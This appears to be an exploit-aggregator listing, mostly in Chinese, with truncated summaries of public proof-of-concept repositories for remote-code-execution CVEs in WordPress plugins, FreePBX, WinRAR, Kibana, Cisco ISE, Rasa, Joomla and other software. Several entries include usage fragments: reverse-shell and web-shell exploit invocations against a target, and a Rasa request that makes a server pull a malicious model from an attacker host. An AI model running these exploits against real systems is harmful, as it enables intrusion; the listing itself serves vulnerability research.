CVE-2026-7654

CVE-2026-7654 CVE-2026-7654 Admin Columns PHP对象注入RCE漏洞利用...

CVE-2024-12252

SEO LAT Auto Post = 2.2.1 - 远程代码执行 描述 WordPress 的 SEO LAT Auto Post 插件在 2.2.1 及之前的所有版本中，由于对 remoteupdate AJAX 操作缺少能力检查，因而存在文件覆盖漏洞。这使得未认证的攻击者能够覆盖 seo-beginner-auto-post.php 文件，并借此实现远程代码执行。 漏洞详情 CVE : CVE-2024-12252 CVSS 分数 : 9.8（严重） 漏洞利用 该脚本通过覆盖 seo-beginner-auto-post.php 文件来利用 SEO LAT Auto Post...

freepbx-endpoint-sqli-rce

CVE-2025-57819 — FreePBX 端点模块 SQL注入 → 远程代码执行 摘要 FreePBX 是 Asterisk PBX 的开源 Web 图形用户界面，广泛应用于企业电话环境。端点管理器 模块在 /admin/ajax.php 处暴露了一个 AJAX 处理程序，该程序接收一个 brand 参数，并在未经过滤的情况下直接将其插入 SQL 查询中。未经身份验证的远程攻击者可以注入任意 SQL，在 cronjobs 表中插入一行，并让 FreePBX 的 cron 守护进程将一个可执行的 PHP 网页木马写入 Web 根目录——从而在大约一分钟内实现未经身份验证的远程代码执...

CVE-2023-38831-Exploit

CVE-2023-38831 WinRAR 漏洞利用生成器 作者：technicalcorp 此项目包含一个 Python 脚本，该脚本利用了 CVE-2023-38831 ，这是 WinRAR 6.23 之前版本中的一个漏洞。该漏洞利用程序会生成一个恶意 RAR 压缩包 ，当受害者打开压缩包中的看似无害的文件（例如 PDF）时，会触发任意代码的执行。该漏洞在 2023 年 4 月至 8 月期间被野外积极利用。 漏洞概述 CVE-2023-38831 是 WinRAR 中的一个漏洞，当受害者打开一个同时包含良性文件 和同名恶意文件夹...

-CVE-2026-7465

-CVE-2026-7465 CVE-2026-7465 Spectra Gutenberg Blocks 已认证的远程代码执行RCE漏洞利用...

CVE-2019-7609

CVE-2019-7609 用于 CVE-2019-7609 的 Kibana Python 漏洞利用 此漏洞利用可为您提供远程代码执行（RCE） 注意：- 此为修改版 帮助 在4242端口上监听 运行漏洞利用 初始访问...

CVE-2025-32433-Exploit-edited

CVE-2025-32433 漏洞利用（Windows兼容） Erlang/OTP SSH 未经认证的远程代码执行 描述 本仓库包含针对 CVE-2025-32433 的漏洞利用代码，这是 Erlang/OTP SSH 服务器中的一个严重未经认证的远程代码执行漏洞。 主要特性： ✅ 预认证 RCE 漏洞利用 ✅ 修复了 Windows GBK 编码兼容性问题 ✅ 适用于 Erlang/OTP 版本 ≤ 27.3.2, ≤ 26.2.5.10, ≤ 25.3.2.19 漏洞详情 CVE ID: CVE-2025-32433 严重性: 严重 影响: 未经认证的远程代码执行...

CVE-2026-47670

CVE-2026-47670 通过 DbGate 的 loadReader 函数名称注入实现认证远程代码执行 DbGate 是一款开源、跨平台的数据库管理工具，专为需要同时使用多种数据库系统的开发人员和数据库管理员设计。它提供统一基于网页和桌面的界面，用于管理 SQL 和 NoSQL 数据库——包括 MySQL、PostgreSQL、SQL Server、MongoDB、SQLite、Oracle 等——无需在不同客户端应用间切换。DbGate 可作为独立桌面应用在 Windows、macOS 和 Linux 上运行，也可通过 Docker 部署为 Web...

next88

next88 - React Server Components RCE 扫描器 高性能 Go 实现，用于检测 React Server Components RCE 漏洞（CVE-2025-55182 和 CVE-2025-66478）。 特性 🚀 高性能 ：编译后的 Go 二进制文件，基于 goroutine 的并发处理 🔍 多种检测方法 ： 安全侧信道检测 RCE PoC 检查 WAF 绕过技术（垃圾数据、双重编码、分号绕过） Vercel 特定 WAF 绕过 通过 ACTIONID 提取的源代码暴露检测 🎯 灵活扫描 ：单个主机、主机列表或自定义路径 📊 JSON 输出...

CiscoISE-CVE-2025-20282-POC

Cisco ISE CVE 2025-20282 概念验证 Writeup：https://riversecurity.eu/like-stealing-cisco-ise-cream-from-a-kid-weaponizing-a-cve/ 该 Python 脚本滥用了未经验证即可在 /admin/files-upload/ 使用的上传功能。 脚本在本地创建一个 bin 文件夹和一个名为 isehourlycron.sh 的文件，并用 Cisco ISE 安装（位于 /opt/CSMS/bin 目录）的原始内容填充该文件（该文件经过 base64 编码并包含在脚本中）。...

Rasa-cve-exp

" Rasa-cve-exp" CVE-2021-42556 server-1.py 直接运行即可 root@kitploit: python server-1.py 任意文件上传 root@kitploit: PUT /model "modelserver":"url":"http://192.168.244.128:5000/stage1","waittimebetweenpulls":0 效果如下： CVE-2021-41127 server-1.py 默认模型名evilimportmodel.tar.gz 恶意模型demo root@kitploit: version: "3.1...

CVE-2026-48907

CVE-2026-48907 — Joomla 内容编辑器 JCE ≤ 2.9.99.4 中的未认证 RCE CVE-2026-48907 的概念验证利用程序——一个 CVSS 10.0 的预认证远程代码执行漏洞，存在于 Joomla 内容编辑器 JCE 扩展中。 由 Grayxploit 安全团队 研究 目录 概述 受影响版本 漏洞详情 攻击流程 概念验证 补丁分析 修复建议 时间线 参考 免责声明 概述 CVE-2026-48907 是一个影响 Joomla 内容编辑器 JCE 扩展的严重未认证远程代码执行 RCE 漏洞。JCE 是最广泛安装的 Joomla 编辑器，所有版本包括...

CVE-2025-10230

CVE-2025-10230: Samba 关键 RCE 漏洞 CVSS 10.0 漏洞摘要 CVE-2025-10230 是一个关键的远程代码执行 RCE 漏洞，已在 Samba 代码库中隐匿了 13 年。 该漏洞存在于 WINS（Windows Internet Name Service）注册数据包的处理过程中。当 Samba 配置为域控制器，启用 wins support = yes 并在 wins hook 中定义了脚本时，它未能对接收到的 NetBIOS 名称进行净化。 未认证的攻击者可以发送包含 shell 元字符（例如 command）的恶意名称注册数据包，这些字符会直接传...

CVE-2024-36401-poc

CVE-2024-36401 — GeoServer OGC XPath 注入 RCE 针对 GeoServer 的未认证远程代码执行漏洞利用，通过 OGC 过滤器 valueReference 参数注入（XPath/JXPath 求值）。 免责声明： 此工具仅用于授权的渗透测试和安全研究。不得在未经明确书面许可的情况下对不属于您的系统使用。作者不对因使用此工具而导致的误用或损害承担任何责任。 目录 概述 受影响版本 技术细节 环境要求 安装 使用方法 示例 工作原理 故障排除 参考资料...

CVE-2026-55200

安全报告：CVE-2026-55200 📝 概述 CVE-2026-55200 是一个基于 堆 的严重内存溢出漏洞（动态内存损坏），影响版本至 1.11.1 的 libssh2 库。 它允许恶意 SSH 服务器攻击连接到它的脆弱客户端。 ⚡ 技术细节 漏洞类型： 内存溢出（ 基于堆的缓冲区溢出 ）。 主要影响： 远程代码执行 RCE 和拒绝服务 DoS。 攻击阶段： 发生在密码学身份验证之前 。 攻击向量： 恶意或被拦截的 SSH 服务器发送一个长度过长的数据包，溢出客户端分配的缓冲区。 🏗️ 供应链影响 该漏洞影响范围极广，因为 libssh2 被多种流行工具和语言使用： curl...

CVE-2026-38526

CVE-2026-38526 - Krayin CRM RCE 描述 针对 Krayin CRM v2.2.x 关键漏洞的 PoC 脚本，通过不受限制的文件上传实现经过认证的 RCE。 用法 root@kitploit: Web shell python3 exploit.py -u http://target.com -e [email protected] -p password123 Reverse shell python3 exploit.py -u http://target.com -e [email protected] -p password123 ...

CVE-2019-11932-whatsApp-exploit

CVE-2019-11932-whatsap-exploit La dirección de system y el gadget deben ser reemplazados por la dirección real encontrada mediante una vulnerabilidad de divulgación de información. Después de reemplazar la dirección de system y el gadget. Ejecuta el código para generar el archivo GIF corrupto:...

CVE-2018-1000533

GitList 0.6.0 远程代码执行漏洞 CVE-2018-1000533 GitList 是一个现代化的 Git 仓库查看器。 在 GitList 0.6.0 及以下版本中，存在一个将未正确验证的输入传递给系统函数的漏洞，攻击者可以以 PHP 用户权限执行任意命令。 环境搭建 运行以下命令启动 GitList 0.6.0 服务器： root@kitploit: docker compose up -d 在运行 poc.py 之前安装依赖： root@kitploit: pip install requests 环境搭建完成后，访问 http://127.0.0.1:8080...

CVE-2025-49132_HTB_SEASON10

CVE-2025-49132 - Pterodactyl Panel RCE 漏洞利用 HTB 第十季 - Pterodactyl 机器 Writeup 概述 目标： Pterodactyl HTB 机器（中等难度） CVE： CVE-2025-49132 严重性： 严重（CVSS 9.8） 攻击类型： 未认证远程代码执行 影响范围： Pterodactyl Panel 远程代码执行 方法 1：使用提供的 exploit.sh root@kitploit: chmod +x exploit.sh 获取用户 flag ./exploit.sh flag 执行命令 ./exploit.sh...

CVE-2026-93872

Cotonti 1.0.0 passes the base64-decoded cb parameter to unserialize without allowedclasses restriction in the comments plugin EditAction. Registered users with comment write permissions can instantiate arbitrary PHP objects and potentially achieve file write or code execution through gadget chain...